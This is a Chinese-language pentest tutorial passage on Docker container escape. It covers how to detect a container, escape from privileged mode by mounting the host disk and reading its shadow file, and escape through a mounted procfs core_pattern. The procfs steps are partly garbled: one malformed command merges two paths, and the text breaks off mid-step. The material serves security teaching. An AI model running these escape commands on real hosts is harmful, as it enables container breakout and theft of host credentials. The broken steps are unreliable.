云上攻防-云原生&Docker安全&权限情况检测&容器逃逸&特权模式&危险挂载
知识点:1、云原生-Docker安全-容器逃逸&特权模式
2、云原生-Docker安全-容器逃逸&挂载Procfs
3、云原生-Docker安全-容器逃逸&挂载Socket
4、云原生-Docker安全-容器逃逸条件&权限高低
章节点:
云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等
云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等
云服务攻防:对象存储,云数据库,弹性盘算服务器,VPC&RAM等
云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等
1、Docker是做什么的?
一个容器技术,类似于VM虚拟机,别人情况封装好打包成一个镜像,使用docker技术就能快速把这个镜像情况还原出来。
2、Docker对于渗透测试影响?
攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理情况的权限
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231155738110-954921866.png
3、前渗透-判断是否在容器中
条件:拿到权限
https://blog.csdn.net/qq_23936389/article/details/131486643
方式一:查询cgroup信息
最简单精准的方式就是查询系统进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行情况,就可以知道是在虚拟机、docker还是kubepods里。
cat /proc/1/cgroup
docker 情况下:
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231155946144-678617226.png
K8s情况下:
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231155955208-1893343434.png
方式二:检查/.dockerenv文件
通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker情况。
K8s&docker情况下:
ls -alh /.dockerenv
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231160057016-1514668345.png
方式三:检察端口运行情况
netstat -anpt
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231160136646-771377306.png
4、后渗透-三种安全容器逃逸
[*]特权模式启动导致(不安全启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才气逃逸)
[*]危险挂载启动导致(危险启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才气逃逸)
[*]docker自身版本毛病&系统内核毛病(软件版本毛病和系统毛病 高低权限都可用)
参考地址: https://wiki.teamssix.com/CloudNative/
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231160626788-609525921.png
一、演示案例-云原生-Docker安全-容器逃逸&特权模式
参考地址:
https://wiki.teamssix.com/CloudNative/Docker/docker-privileged-escape.html
1、以特权模式启动靶场
docker run --rm --privileged=true -it alpine
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231160802381-1846095941.png
2、检测是否是docker情况
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231160838267-1729848473.png
3、判断是否是特权模式
cat /proc/self/status | grep CapEff
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231160934034-915245118.png
或
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231161021534-2130373666.png
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231161027105-699158458.png
4、检察目录
fdisk -l
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231161047534-1696160827.png
5、特权模式逃逸
mkdir /test && mount /dev/sda1 /test
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231161119620-912359113.png
cd /test/
ls
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231161149018-500316904.png
实验访问宿主机 shadow 文件,可以看到正常访问
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231161204576-1167534190.png
二、演示案例-云原生-Docker安全-容器逃逸&挂载Procfs
参考地址:
https://wiki.teamssix.com/CloudNative/Docker/docker-procfs-escape.html
1、启动情况
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231161312522-442534180.png
2、检测情况
find / -name core_pattern
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231161333942-658499636.png
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231161336818-1882782873.png
3、查找路径(容器在真实磁盘的绝对路径)
cat /proc/mounts | grep workdir
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231161414014-1726288406.png
4、写入文件
cat >/tmp/.x.py/host/proc/sys/kernel/core_pattern
//这里的路径要更换为workdir的绝对路径
https://img2024.cnblogs.com/blog/3407897/202412/3407897-20241231161556908-1331759587.png
<blockquote>
cat >/tmp/x.c
页:
[1]